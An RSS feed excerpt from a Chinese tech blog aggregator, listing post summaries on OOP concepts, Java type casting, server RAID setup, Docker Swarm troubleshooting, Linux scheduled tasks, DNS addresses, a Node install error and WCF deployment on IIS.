      <title>什么是类？什么是对象？类与对象之间是什么关系？类的特性有哪些？</title>
      <link>https://bchobby.github.io/posts/f3dc23c6ba6d498eda26e267f466238e/</link>
      <pubDate>Mon, 02 Aug 2021 11:35:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f3dc23c6ba6d498eda26e267f466238e/</guid>
      <description>一、什么是类？&#xA;1、类是一种抽象的概念。&#xA;2、类：具有相同的特性（数据元素）和行为（功能）的对象的抽象就是类。对象的抽象就是类，类的具体化就是对象，也可以说类的实例化就是对象，类实际上就是一种数据类型。类具有属性用数据结构来描述类的属性。类具有操作，它是对象的行为的抽象，用操作名和实现该操作的方法来描述。&#xA;二、什么是对象？&#xA;1、对象是一种具体概念&#xA;2、对象：对象是人们要进行研究的任何事物，它不仅能表示具体的事物，还能表示抽象的规则、计划或事件。对象具有状态，一个对象用数据值来描述它的状态。对象还有操作，用于改变对象的状态，对象及其操作就是对象的行为。对象实现了数据和操作的结合，使数据和操作封装于对象的统一体中。&#xA;三、类与对象之间是什么关系？&#xA;类的实例化就是对象，而对象的抽象就是类，类描述了一组有相同特性（属性）和相同行为的对象。例如：人是一个类，具体哪一个人就是一个对象，每一个对象都符合这个类的标准。一个类的所有对象都有相同的属性（都是人），但是有着不同的属性值（名字，长相、身高）。&#xA;四、类的特征有哪些？&#xA;1、封装性&#xA;就是将数据和操作封装为一个有机的整体，由于类中私有成员都是隐藏的，只向外部提供有限的接口，所以能够保证内部的高内聚性和与外部的低耦合性。用者不必了解具体的实现细节，而只是要通过外部接口，以特定的访问权限来使用类的成员，能够增强安全性和简化编程。&#xA;简单的理解就是：封装就是将一些复杂的或是不想让你看到的事物包装起来，叫做封装。从程序的角度来说就是，把一些内部复杂的逻辑或是不想让其他人员修改程序内部进而把部分程序包装起来，叫做封装。举一个 遥控器的例子，无论是电动玩具赛车遥控器还是电视遥控器，其内部都是复杂的电路板，由于技术人员出于对电路板的保护的角度来说，通过手柄来包装都能达到这俩种效果。&#xA;2、继承性&#xA;继承是使用已存在的类的定义作为基础建立新类的技术，新类的定义可以增加新的属性和方法，也可以用父类的属性和方法，但不能选择性地继承父类。通过使用继承我们能够非常方便地复用以前的代码，能够大大的提高开发的效率。&#xA;3、多态性&#xA;同一操作作用于不同对象，可以有不同的解释，产生不同的执行结果。简单的来说就是父类引用指向子类对象。</description>
    </item>
    <item>
      <title>instanceof，类型转换和static关键字</title>
      <link>https://bchobby.github.io/posts/8e2b3c703902f699719bec07bc46d727/</link>
      <pubDate>Mon, 02 Aug 2021 11:23:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8e2b3c703902f699719bec07bc46d727/</guid>
      <description>instanceof和类型转换 父类的引用指向子类的对象把子类转换为父类，向上转型：不用强制转换（子类可直接调用父类公共的方法）把父类转换为子类，向下转型：需要强制转换 （可能会丢失一些方法）方便方法的调用，减少重复的代码！简洁 代码：（注释也要多看）&#xA;package com.Demo03; public class Application { public static void main(String[] args) { /* //Object &amp;gt; Person &amp;gt; Student //Object &amp;gt; Person &amp;gt; Teacher //Object &amp;gt; String Object object = new Student(); //System.out.println(X instanceof Y); //能不能编译通过!看X和Y有没有关系（父子，曾祖等） System.out.println(object instanceof Student);//true System.out.println(object instanceof Person);//true System.out.println(object instanceof Object);//true System.out.println(object instanceof Teacher);//false System.out.println(object instanceof String);//false System.out.println(&#34;==================================&#34;); Person person = new Student(); System.out.println(person instanceof Student);//true System.out.println(person instanceof Person);//true System.out.println(person instanceof Object);//true System.</description>
    </item>
    <item>
      <title>浪潮服务器改uefi引导,浪潮服务器重做raid 设置pxe 启动</title>
      <link>https://bchobby.github.io/posts/c27ea2be349c672d690c782af72a1e9d/</link>
      <pubDate>Mon, 02 Aug 2021 10:58:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c27ea2be349c672d690c782af72a1e9d/</guid>
      <description>在生产环境中我们会面对许多不同品牌的服务器，比如 inspur 、huawei 、ZET 、HP 、H3C等大厂家服务器，重做riad 与设置pxe 的流程也大同小异。&#xA;Inspur 浪潮服务器重做raid 流程。&#xA;1. 如果我们的服务器有提前配置远程管理地址(ilo 地址)可以通过远程管理地址登陆我们服务器的远程GUI 界面来远程管理虚机而不需要在机房连接显示器做配置&#xA;(远程管理GUI 界面)，如果没有配置远程登陆地址直接跳过第一步骤&#xA;可以在GUI 界面电源处在电源控制选择重启操作。&#xA;通过远程控制，远程管理server (有些服务器需要支持电脑支持java 环境)&#xA;2. 使用显示器连接服务器来管理控制该服务器，可以通过(Ctrl + Alt + delete )重启服务器，(开机如果有提示CTRL + R 进入raid配置可以跳过345 步骤)或者通过开关机重启服务器，进入服务器根据提示选择Delete 进入BIOS (服务器不通进bios 的方式也不一样)&#xA;3. 检查advanced会多出来ACAG MegaRAID选项 (如果进入biso就有这个RAID的选项直接跳过第四步从第五步骤往下执行即可)该选项是进入配置raid&#xA;4. 修改当前启动模式， 为进riad 控制界面做准备&#xA;将传统模式更改为uefi模式&#xA;保存重启，重新进入bios 界面&#xA;5. 进入第三步进入的ACAG MegaRAID选项，进入菜单&#xA;7. 准备开始重做raid&#xA;(1)进入管理配置&#xA;(2)选择清除当前的配置&#xA;(3) 进入硬盘管理 选择格式化硬盘&#xA;(4) 格式化磁盘后重做raid&#xA;(5) 选择新建raid 磁盘阵列(以riad0 为例)&#xA;选择要做的磁盘&#xA;保存配置&#xA;8. 检查raid 是否做成功&#xA;9. 设置pxe 启动</description>
    </item>
    <item>
      <title>Docker Swarm集群IP冲突引起的故障处理</title>
      <link>https://bchobby.github.io/posts/d66ee412a61512b3afc5bf1e4f2f0ad9/</link>
      <pubDate>Mon, 02 Aug 2021 10:40:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d66ee412a61512b3afc5bf1e4f2f0ad9/</guid>
      <description>Docker Swarm集群IP冲突引起的故障处理 起因解决步骤 起因 因为要扩展docker Sarm集群数量，就从集群中选取一台虚机做模板，复制两台新虚机，但忘记改IP了（严重失误啊），第二天发现docker Sarm集群不能正常运行了，总是提示找不到leader，然后分布式存储glusterfs也不能正常工作，根据现象，最终判断应该有网络冲突，这才记起复制的两台虚机没有改IP，且模板机刚好是集群的管理节点。&#xA;解决步骤 1、修改复制的虚机IP和hostname，解决IP冲突问题，并在两虚机上运行docker swarm leave命令退出集群 （但运行命令后提升错误，提示要加--force，后再次运行 docker swarm leave --force成功退出。）&#xA;2、在产生冲突的IP原虚机上运行docker swarm leave --force，暂时退出集群。&#xA;3、本以为集群能正常工作，谁知还是不行，还是提示没有leader。在管理节点上运行docker node ls命令，查看到刚才已退出节点还在集群中，且状态还处于Ready Active ，只是MANAGER STATUS已是unreachable了（期间，曾将集群所有节点重启N次，但还是一样的问题。）&#xA;4、大杀招来了，选择集群的一个管理节点，运行docker swarm init --force-new-cluster --advertise-addr 当前节点IP:2377，还是提示错误（当时只顾解决故障，没有记录错误提示），又选择集群中另一管理节点，再运行docker swarm init --force-new-cluster --advertise-addr 当前节点IP:2377，终于提示成功了，内容如下：&#xA;Swarm initialized: current node (81cg74xcx7ioesisyk54wsipe) is now a manager. To add a worker to this swarm, run the following command: docker swarm join --token SWMTKN-1-3h568v952bl2e0ayz76l4irc7v49bkvsok1kodf46axjbsjbai-cmuobrf4zbwg22qdj07y3krrq 当前节点IP:2377 To add a manager to this swarm, run &#39;docker swarm join-token manager&#39; and follow the instructions.</description>
    </item>
    <item>
      <title>力扣257题（二叉树、递归、迭代、回溯、较难）</title>
      <link>https://bchobby.github.io/posts/8b5d165a53054ec6465a032ff3cf78b9/</link>
      <pubDate>Sun, 01 Aug 2021 20:20:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8b5d165a53054ec6465a032ff3cf78b9/</guid>
      <description>257.给定一个二叉树，返回所有从根节点到叶子节点的路径。&#xA;说明: 叶子节点是指没有子节点的节点。&#xA;该题虽然说是简单题，但做起来却不那么简单，依旧是可以利用递归或者迭代法来解，但是在编写递归函数就犯了难。如何才能一个路径不漏地利用递归解出这个题呢？通过看题解有了一下代码：通过前序遍历递归地求解每个路径；其中用一个path数组来存储每条路径中非叶结点的值，当递归到叶子结点的时候，将path数组中的值一个一个取出来利用sprintf函数拼接成一个字符串，在接上当前结点的值，形成一条路径存储到结果数组中。 /** * Definition for a binary tree node. * struct TreeNode { * int val; * struct TreeNode *left; * struct TreeNode *right; * }; */ void getPath(struct TreeNode* cur, char** res, int* returnSize, int* path, int i) { if (cur != NULL) { //当前结点不为空才进行处理 //当前结点为叶节点，开始将path数组中存的数取出来进行拼接路径 if (cur-&amp;gt;left == NULL &amp;amp;&amp;amp; cur-&amp;gt;right == NULL) { //用于存储拼接的字符串 char *temp = malloc(sizeof(char) * 1000); //用于辅助将path数组中的字符存入temp中 int len = 0; for (int j = 0; j &amp;lt; i; j++) { //sprintf函数能够将格式化字符串输出到指定地址处，返回写入的字符数 len += sprintf(temp + len, &#34;</description>
    </item>
    <item>
      <title>帮您减肥的Linux知识-计划任务</title>
      <link>https://bchobby.github.io/posts/750c96b4ef499234b1d27bf3f49706df/</link>
      <pubDate>Sun, 01 Aug 2021 14:25:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/750c96b4ef499234b1d27bf3f49706df/</guid>
      <description>计划任务 温馨提示：可以把命令关键字，作为名字方便熟练命令&#xA;1、 以自己的名字创建一个普通用户，密码是:123.com。并以这个用户制定一个at计划： 要求在2020-09-15号删除/tmp/time.txt文件。&#xA;1）创建用户psef&#xA;2）创建测试文件&#xA;3）编辑计划任务配置文件&#xA;先查命令的绝对路径-编辑-Ctrl D 提交任务&#xA;注意：若果不报错，但是psef用户无法达到自动删除文件的效果，可能是权限问题。在/etc/下创建at.allow文件，输入此用户名，即可解决&#xA;4）验证，用root用户更改时间到指定日期，查看此文件，找不到，成功&#xA;设置系统时间&#xA;查看文件&#xA;2、 root身份，制定一个计划任务： 2021-09-12号开始到2021-09-15号 ，每隔5分钟发送一次本机的/var/log/message文件到/tmp目录下，并且message文件要加上具体时间。&#xA;1）编辑shell脚本&#xA;tar -zcP -f /tmp/log_$(date +%Y-%m-%d)&#39;&#39;$(date +%H:%M:%S).tar.gz /var/log/messages &#39;&#39;之间有空格 2）编辑计划任务配置文件&#xA;3）验证，到预定时间会查看到此文件，注意：解压此文件带的是整个绝对路径&#xA;解压（/var/log/messages而不是messages）&#xA;3、设置本主机拒绝所有普通用户执行crontab周期性任务，仅允许以自己名字命名的用户执行at一次性任务。&#xA;更改配置文件：&#xA;验证：&#xA;其他用户，无权限。&#xA;使用允许权限用户psef登录，可以执行：&#xA;4、 从现在开始，/root用户每隔2个小时，打印一次时间信息到/tmp/time.txt文件中，怎样使第一题中的任务能成功执行。&#xA;1）编辑shell脚本&#xA;#!/bin/bash echo &#34; $(date +%Y-%m-%d)&#39;&#39;$(date +%H:%M:%S) &#34; &amp;gt;&amp;gt; /tmp/time.txt 2）创建计划任务&#xA;3）验证，调整系统时间到接近2小时候&#xA;5、从base01上，每月31号晚上3点钟，发送本主机的日志文件/var/log/messages到base02主机的/tmp/目录下，且要加上具体时间。必须先保证两个主机互通&#xA;设置免密登录&#xA;1)创建免密码登录用户&#xA;base02配置：&#xA;[root@localhost log]# vim /etc/ssh/sshd_config&#xA;2）base01配置&#xA;生成密钥对：&#xA;[root@localhost lib]# ssh-keygen -t ecdsa&#xA;上传到base02:&#xA;3）验证：在base01能登录到base02（192.168.2.2）&#xA;创建计划任务&#xA;编辑shell脚本,脚本还可以做优化，做条件测试，省略</description>
    </item>
    <item>
      <title>word无法验证服务器,Office提示“无法验证此应用程序的许可证”时怎么处理？...</title>
      <link>https://bchobby.github.io/posts/1554e0897322928702338d3edb176c2a/</link>
      <pubDate>Sun, 01 Aug 2021 04:22:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1554e0897322928702338d3edb176c2a/</guid>
      <description>Office提示“无法验证此应用程序的许可证”时怎么处理？出现该提示和系统中的一些服务有关联，因为其正巧被用户禁用启动了，需要用户将TA启用并设置为自动即可解决问题，具体操作方法如下文步骤。&#xA;Office提示“无法验证此应用程序的许可证”时怎么处理？&#xA;方法一：&#xA;1、右击桌面左下角的“开始”菜单，从其右键菜单中选择“运行”项，或者直接按“Windows+R”快速打开“运行”窗口。&#xA;2、待打开“运行”窗口后，输入命令“services.msc”并按回车以打开“系统服务”界面，如图所示：&#xA;3、从打开的“服务”窗口中：&#xA;针对Win10系统，找到“Software Protection”服务项并右击选择“启动”项以启动此服务。&#xA;4、针对Win8及以下版本的操作系统，则找到“找到“Office Software Protection Platform”服务并右击选择“启动”项。&#xA;5、此外，为了防止以后再次发生此类“无法验证此产品的许可证”的问题，我们需要执行以下操作：右击“Software Protection”服务项，从其右键菜单中选择“属性”项。&#xA;6、从打开的“Software Protection 属性”窗口中，将“启动类型”设置为“自动”或“自动(延时)”，点击“确定”进行保存即可。&#xA;方法二：&#xA;1、以“管理员身份”运行“命令提示符”工具。或者在“开始”搜索械中搜索“CMD”，并在搜索结果中右击CMD工具选择“以管理员身份运行”项。&#xA;2、从打开的“命令提示符”界面中，输入【net start】并按回车以查看当前所有已启动的Windows服务。从中可以查看是否存在“Software Protection”或“Office Software Protection Platform”服务，如果不存在，则需要重启此服务。如图所示：&#xA;3、在此可以尝试输入命令【NET START &#34;Software Protection&#34;】(不包含方括号)并按回车以启动服务。&#xA;针对“Office Software Protection Platform”服务名称，对应的命令为【NET START &#34;Office Software Protection Platform&#34;】(不包含方括号)并按回车以启动服务。&#xA;以上内容便是Office提示“无法验证此应用程序的许可证”时的处理步骤，如果打开Software Protection的属性是灰色的，可以不用理会。</description>
    </item>
    <item>
      <title>吃鸡手游服务器未响应,PUBG Mobile Lite</title>
      <link>https://bchobby.github.io/posts/a87c0c86dd090d4e675f4a8d21927626/</link>
      <pubDate>Sat, 31 Jul 2021 17:37:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a87c0c86dd090d4e675f4a8d21927626/</guid>
      <description>PUBG Mobile Lite是由腾讯官方推出的轻量版吃鸡，为什么要这样说呢？首先很多玩家反应PUBG手游体积大，运行不流畅，其实作为端游改编手游，要想真正体验出端游版极致的游戏表现是非常不容易的，所有就出现这款PUBG Mobile Lite，游戏整体进行优化，让用户能够更加灵活方便的操作，占用空间更加，运行速度更快，完美的符合手游玩家快节奏体验吃鸡游戏的需求！&#xA;PUBG Mobile Lite游戏介绍&#xA;PUBG Mobile Lite是腾讯全新推出的低配版吃鸡手游。游戏延续正版吃鸡玩法，力致给玩家们原汁原味的吃鸡体验。该版本无论你是什么配置的手机都可以轻松体验，无论是画质，还是玩法都媲美高配版绝地求生手游，减轻手机的性能负担。&#xA;PUBG Mobile Lite游戏特色&#xA;1、新玩法——尖兵试炼玩法&#xA;神装训练、狙击精英、冷兵器战、绝地训练，四大尖兵试炼活动玩法将陆续上线，别样吃鸡乐趣满满。&#xA;2、新玩法——自建房间与OB系统&#xA;便捷开房、一键ob、精彩直播、微社区讨论，竞技、休闲应有尽有。&#xA;3、新功能——捏脸系统、个性涂装&#xA;新增人物形象个性定制功能，脸型、发型自由定制，皮肤肤色任意挑选，角色形象由你决定。首发上架脸部涂鸦，邀你一起体验吃鸡潮流文化。&#xA;4、新画质——精致、写实，全新画质选项&#xA;画面设置选项丰富，增加“精致”画质和“写实”画风等选项功能，精美画面+流畅表现，助力轻松吃鸡。&#xA;5、新系统——海量周边系统上线&#xA;周边系统丰富，基础性能优化，纯正畅爽体验，就在pubg mobile lite。&#xA;PUBG Mobile Lite游戏亮点&#xA;1、游戏采用虚幻引擎打造极致光效，为玩家们带来一场视觉盛宴；&#xA;2、高品质的音效动画十足秒速开局，快速的加入到公平的游戏中；&#xA;3、收集丰富的武器装备策略交锋，在最终环节中生存下去才能获胜；&#xA;4、邀请你的好友一起冲向牵线，商定好一个策略给予对头迎头痛击。&#xA;PUBG Mobile Lite游戏优势&#xA;绝地求生自发布以后深受玩家的好评，一致受到玩家的喜爱。但是该游戏因游戏需求的配置太高，许多的中低端手机在游戏时却得不到较好的体验。但是近期腾讯游戏却为这些手机带来了一个好消息。推出了低配版本的PUBG Mobile Lite。据了解，这款游戏和原版游戏差别不大，仍然是通过虚幻4引擎开发，但对低内存设备进行了优化，而且缩小了地图，玩家数量也从100名缩减到了40名。&#xA;PUBG Mobile Lite游戏功能&#xA;PUBG Mobile Lite是轻量版绝地求生手游，近期发布上线，针对小内存机型，也可以愉快体验。《PUBG Mobile Lite》手游与绝地求生手游的区别在于，占用内存更低，运用了更小规模的地图，玩家人数从100人减少到了40人。游戏形式不变，游戏引擎为虚幻4。一些低内存或者配置较低的用户，也可以下载PUBG Mobile Lite体验，对手机的配置要求更低。&#xA;PUBG Mobile Lite游戏常见问题&#xA;1.一直加载不进怎么办？&#xA;由于本游戏目前是在菲律宾内测，所以进游戏必须先挂菲律宾的提速，所以先在网上下载一个加速软件，按图一设置，点击start后就可以正常进去游戏。&#xA;2.为什么所有东西都弄好了(包括dns)，游戏却显示服务器未响应？&#xA;如果出现服务器未响应，第一建议，更换使用wifi和数据网络，多试几个wifi。如果都不行，你可以采用最后办法，遇见服务器未响应界面，一直点取消，然后用guest登录，多次尝试，直到能进去。&#xA;3.为什么能进去却显示注册人数已满？&#xA;恭喜你，如果出现这个界面，你的网络加dns大概率是登的上这游戏的，但是这游戏是独立的内测游戏，为了服务器稳定，每天的注册人数是有上限的，我们目前还不清楚每天重置注册的时间点是什么时候。&#xA;数据包说明：(数据包为游戏或APP的重要组成部分，一般数据包都比较大，建议在PC或wifi网络下载数据包按位置安装。)&#xA;数据包已压缩，请您下载之后自行解压！&#xA;数据包使用方法：安装APK后，将下载所得的压缩包，解压后即可得到已经设置好路径的文件夹Android，将其放置在SD卡的根目录，并确认数据包的路径为：SD卡\android\obb\</description>
    </item>
    <item>
      <title>首选dns服务器地址最快,各地首选dns地址大全【图解】</title>
      <link>https://bchobby.github.io/posts/b5822fd4770f7c297e4dd1d25b05507d/</link>
      <pubDate>Sat, 31 Jul 2021 17:30:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b5822fd4770f7c297e4dd1d25b05507d/</guid>
      <description>又是dns，小编最近写了好多关于dns的话题。当然小编今天写的与以往也略有不同，今天小编来告诉大家我们中国各地首选的dns地址各是什么。首选dns地址，顾名思义是是我们电脑上网时首选的地址。如果我们想要查看，我们就打开我们电脑的网络设置，然后就可以看到我们的首选电脑上地址了。下面就是小编为大家整理的各地首选dns地址了。&#xA;天津市首选DNS: 202.99.104.68&#xA;重庆市首选DNS：61.128.128.68&#xA;内蒙古呼和浩特市首选DNS：219.148.162.31&#xA;湖北省武汉市首选DNS: 202.104.24.68&#xA;河南省郑州市首选DNS：219.150.150.150&#xA;安徽省首选DNS：202.102.192.68&#xA;吉林省首选DNS：202.98.5.68&#xA;云南省首选DNS：211.98.72.7&#xA;陕西西安首选DNS:222.41.52.3&#xA;甘肃省兰州市 首选DNS：211.98.121.2&#xA;福建省龙岩市首选DNS：202.101.113.55&#xA;湖南省吉首市首选DNS：222.246.129.81&#xA;江西省南昌市首选DNS：202.101.224.69&#xA;海南省海口市首选DNS：202.103.96.112&#xA;西藏拉萨首选DNS：221.13.65.34&#xA;江苏省苏州市首选DNS：61.177.7.1&#xA;黑龙江首选DNS：202.97.224.69&#xA;河南省首选DNS：202.102.224.6&#xA;山东省青岛市首选DNS ：202.102.134.68&#xA;四川省成都市首选DNS：202.98.96.68&#xA;江苏省南京市首选DNS：218.2.135.1&#xA;广东省佛山市首选DNS：221.4.8.1&#xA;广东省广州市首选DNS：202.96.128.86&#xA;广西壮族自治区首选DNS：202.103.224.68&#xA;首选dns和备用dns填什么&#xA;如果你是南方用户，那么在首选 DNS 服务器中填写112.124.47.27在备用 DNS服务器中填写114.215.126.16相反，如果你是北方用户那么就在首选DNS中填写114.215.126.16在备用DNS服务器中填写112.124.47.27非常简便。&#xA;总结 ：以上就是小编为大家整理的各地电脑首选dns地址了，大家可以根据此表来查找我们要查的dns地址来自哪里。希 望小编的文章可以帮到大家。</description>
    </item>
    <item>
      <title>Substance Designer场景材质教程 中文字幕</title>
      <link>https://bchobby.github.io/posts/ad7af3a7550ae48649aa3fcd538cf5d8/</link>
      <pubDate>Sat, 31 Jul 2021 17:13:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ad7af3a7550ae48649aa3fcd538cf5d8/</guid>
      <description>Substance Designer with texture artist Daniel Thiger. Substance Designer材质制作基础教程 Learn Squared – Substance Designer – Daniel Thiger. 讲解在Substance Designer中材质制作的基本步骤和常用材质的制作方法，Substance Designer建筑空间材质视频教程，可以让你基本掌握SD软件的使用方法。制作自己的SD程序着色器，并在课程结束时制作出精美的作品集。作者Daniel将通过介绍Substance Designer中的一些基础知识来开始本课程。您将学习SD节点，PBR纹理以及如何导出纹理的知识。最后，他将演示如何创建sub-graphs 和 template nodes.&#xA;在项目实战课程中，Daniel首先介绍Marmoset Toolbag的基础知识。了解位深度，工作流程的基础知识以及创建自定义3D几何形状的知识。然后开始对场景的每个区域进行纹理处理。这是您真正开始详细了解纹理的地方。在本课程中，您将遍历场景的所有部分，并在整个过程中创建有趣的视觉概念。Daniel将分享有关过程纹理创建好处的一些见解，并为您提供各种技巧来加速您的流程。在最后的课程中，Daniel将帮助您在Substance Designer中设置调色板。然后您将开始为每个项目上色，并在此过程中创建材料属性的变化，并添加污垢和表面变化以实现更高的真实感。最后将使用Marmoset Toolbag呈现完成的场景。&#xA;本套教程55个视频，课时共361分钟&#xA;https://pan.baidu.com/share/init?surl=UkmW_ebNPS_wtsNwGf-nSQ 提取密码：em59&#xA;Substance Designer场景材质教程点此下载中文字幕教程</description>
    </item>
    <item>
      <title>电压跟随器的特点、作用和应用举例</title>
      <link>https://bchobby.github.io/posts/301ff6fdba58a26ce7a140c881c8f70d/</link>
      <pubDate>Sat, 31 Jul 2021 16:57:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/301ff6fdba58a26ce7a140c881c8f70d/</guid>
      <description>目录 一、电压跟随器的特点：&#xA;二、电压跟随器的作用：&#xA;三、应用举例：&#xA;一、电压跟随器的特点： 高输入电阻、低输出电阻&#xA;二、电压跟随器的作用： 1、缓冲：由其特点可知，当输入阻抗很高时，就相当于对前级电路开路；当输出阻抗很低时，对后级电路就相当于一个恒压源，即输出电压不受后级电路阻抗影响。&#xA;一个对前级电路相当于开路、输出电压又不受后级阻抗影响的电路当然具备隔离作用，也就是说——电压跟随器的前、后级电路之间互不影响。而隔离作用就是将负载对输入端的影响隔离掉。&#xA;举一个应用的典型例子：电吉他的信号输出属于高阻，接入录音设备或者音箱时，在音色处理电路之前加入这个电压跟随器，会使得阻抗匹配，音色更加完美。很多电吉他效果器的输入部分设计都用到了这个电路。&#xA;2、隔离：由于电压跟随器具有输入阻抗高，输出阻抗低的特点，使得它对上一级电路呈现高阻状态，而对下一级电路呈现低阻状态，常用于中间级，以隔离前后级电路，消除它们之间的相互影响。&#xA;3.提高输入阻抗：使得输入电容的容量可以大幅度减小，为应用高品质的电容提供了保证。&#xA;三、应用举例： R25=20K可能是经验值，通常会取到R28的2-3倍。&#xA;R28、R25、R27的选取和运放的工作阻抗有关。&#xA;如果信号源的内阻非常的大（带载的能力很差），反射的信号就会在R28的输入点附近形成很强的发射震荡，经过放大就会使输出信号质量很差。&#xA;R25和C12的接入可以把在5pin的反射信号有效地吸收，高频的反射信号通过C12泄放到地（AGND）R25把反射的信号阻隔在5pin的输入端。</description>
    </item>
    <item>
      <title>ERROR command failed: npm install --loglevel error --legacy-peer-deps</title>
      <link>https://bchobby.github.io/posts/a94f571e998ce80c7984df689d82e92d/</link>
      <pubDate>Sat, 31 Jul 2021 13:33:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a94f571e998ce80c7984df689d82e92d/</guid>
      <description>一、问题场景 MacBook Air 创建 vue 项目时报错：ERROR command failed: npm install --loglevel error --legacy-peer-deps&#xA;二、原因分析 node 版本问题&#xA;验证 node&#xA;which node /usr/local/bin/node&#xA;node -v v16.4.1&#xA;三、解决方案 1、pkg 卸载 node&#xA;sudo rm -rf /usr/local/{bin/{node,npm},lib/node_modules/npm,lib/node,share/man/*/node.*} 2、node.js官网 下载长期支持版&#xA;3、查看 node 版本&#xA;node -v v14.17.4&#xA;4、创建项目正常&#xA;四、报错具体内容如下 （报错内容很长，但还是都复制下来了，嘻嘻😁）&#xA;added 1236 packages in 24s&#xA;🚀 Invoking generators…&#xA;📦 Installing additional dependencies…&#xA;npm ERR! code 1&#xA;npm ERR! path /Users/raylin/Desktop/workspace/mei/vueapp/test_b/node_modules/node-sass&#xA;npm ERR! command failed&#xA;npm ERR! command sh -c node-gyp rebuild</description>
    </item>
    <item>
      <title>网站服务器jscss缓存,Zend服务器JS和CSS文件的“缓存”</title>
      <link>https://bchobby.github.io/posts/337989b758ab55ec616fc53da32fb336/</link>
      <pubDate>Sat, 31 Jul 2021 09:57:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/337989b758ab55ec616fc53da32fb336/</guid>
      <description>我在Vitrualbox的CentOS VM中运行Zend Server，并且遇到链接JS和CSS资源被“缓存”的问题。我说“缓存”是因为它们并不是真正意义上的缓存，而是当我向JS或CSS文件添加内容时，它们会被破坏并且不会出现更改。相反，该文件附加了一堆坏字符，例如。Zend服务器JS和CSS文件的“缓存”&#xA;layout.phtml(Zend框架模板)&#xA;$this-&amp;gt;headScript()-&amp;gt;appendFile (&#39;/js/admin/product.js&#39;, &#39;text/javascript&#39;);&#xA;这使得：&#xA;products.js&#xA;//re-add scrolling handles&#xA;scrollThumbs.reSortThumbs(ul);&#xA;product.moveFileInput(ul);&#xA;};&#xA;};��������������������������������������������������&#xA;如果我删除从JS或内容CSS文件中的结果是不完整的文件，而不是另外的坏如上所述的字符。&#xA;我关闭了所有形式的Zend缓存，甚至关闭了Zend Optimizer。我删除了浏览器缓存并尝试了多个浏览器。&#xA;我已经ssh进入服务器和双重检查文件，它是完全格式化并包含更改。我试过重新启动Zend服务器(/usr/local/zend/bin/zendctl.sh restart)和Apache(service httpd restart)&#xA;修复它的唯一方法是重新启动整个操作系统(reboot)。有趣的是，如果我删除了更改，它会恢复正常工作。我只能假设在服务器端某处存在某种形式的缓存。</description>
    </item>
    <item>
      <title>wcf服务器怎么发送信息,【WCF】如何将WCF部署到远程服务器</title>
      <link>https://bchobby.github.io/posts/0dee7f9037c206faf39d52b801ba9507/</link>
      <pubDate>Sat, 31 Jul 2021 06:32:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0dee7f9037c206faf39d52b801ba9507/</guid>
      <description>一、前言&#xA;最近需要将自己写的WCF服务部署到远程服务器上，也就是公网上。宿主是IIS，在配置成功之前遇到了很多问题，问题如下：&#xA;1. WCF该怎么宿主在IIS上，为何会出现 400 Bad Request&#xA;2. 防火墙如何开放&#xA;3. 为何我能在客户端引用服务，但是运行时依然提示Soap操作错误，404 Not Found&#xA;那么接下来，我就告诉大家我走过的坑，也避免了百度上各种司机瞎带路。(网上好多其实是本地部署，Localhost谁都会，VS直接Debug都行)&#xA;二、准备阶段&#xA;首先你要配置好的你的web.config，web.config的配置正确与否直接影响你WCF部署的成功与否。这里我可以提供一个我的例子，供大家参考：&#xA;receiveTimeout=&#34;00:30:00&#34; sendTimeout=&#34;00:30:00&#34; hostNameComparisonMode=&#34;StrongWildcard&#34;&#xA;maxBufferPoolSize=&#34;&#34;&#xA;maxReceivedMessageSize=&#34;&#34;&#xA;maxBufferSize=&#34;&#34;&#xA;messageEncoding=&#34;Text&#34;&amp;gt;&#xA;name=&#34;BiChengUpdateService.UpdateService&#34;&amp;gt;&#xA;bindingConfiguration=&#34;bindingConfig&#34; name=&#34;Endpoint1&#34; contract=&#34;BiChengUpdateService.IUpdateService&#34; /&amp;gt;&#xA;contract=&#34;IMetadataExchange&#34; /&amp;gt;&#xA;这里，一定要注意的是两个地方：&#xA;1.Endpoint address&#xA;2. MultipleSiteBindingEnabled&#xA;问：web.config里有两个Endpoint address， 一个是mex(这个我们不管)，另一个是”空”(这个特别重要)，为什么要设成空值呢？&#xA;难道部署在远程服务器上不应该写的是服务器的IP地址吗？&#xA;答：错！这个WCF所部署的IP地址和其相应的端口我们交给IIS即可。&#xA;问：如果我在Endpoint address写了服务器的IP地址及端口，例如：114.112.133.23:2037/UpdateserIve.svc会如何？&#xA;答：那你就掉坑里了，如果这样写，客户端确实可以引用你的服务，但是在114.112.133.23:2037/UpdateserIve.svc？wsdl(用浏览器打开)，&#xA;看最后一行，你会发现你的Soap Address会是这个尿性：114.112.133.23:2037/UpdateserIve.svc/114.112.133.23:2037/UpdateserIve.svc&#xA;这明显地址有复制了一遍嘛！！！然后客户端的会出现Soap 操作错误，具体的错误Message为404 Not Found。&#xA;配置好上述config后，我们在远程服务器硬盘上新建一个文件夹，放置发布服务时需要的文件，一共三个：bin, .svc 以及web.config&#xA;bin文件主要放置你在WCF服务中生成的dll，其实你编译完WCF服务项目后，直接把bin文件拷贝了就行。&#xA;三、IIS配置&#xA;1.打开远程服务器的IIS，找到“处理程序映射”，看看有没有这个：&#xA;没的话，这个可以百度一下，我就不赘述了，这步没司机会坑你。&#xA;2. 添加一个应用程序池，专门给你部署的WCF服务使用：&#xA;托管管道模式为集成！请注意，你的WCF项目编译时也要一致！&#xA;3.新建网站，配置网站的物理地址：&#xA;物理地址就是之前新建的文件夹，应用程序池就是我们之前刚建的应用程序池。这里没显示出.svc及web.config，网站右键切换到内容视图即可&#xA;4. IIS的配置端口:&#xA;IP地址不要写你的服务器公网地址，会出现400 Bad 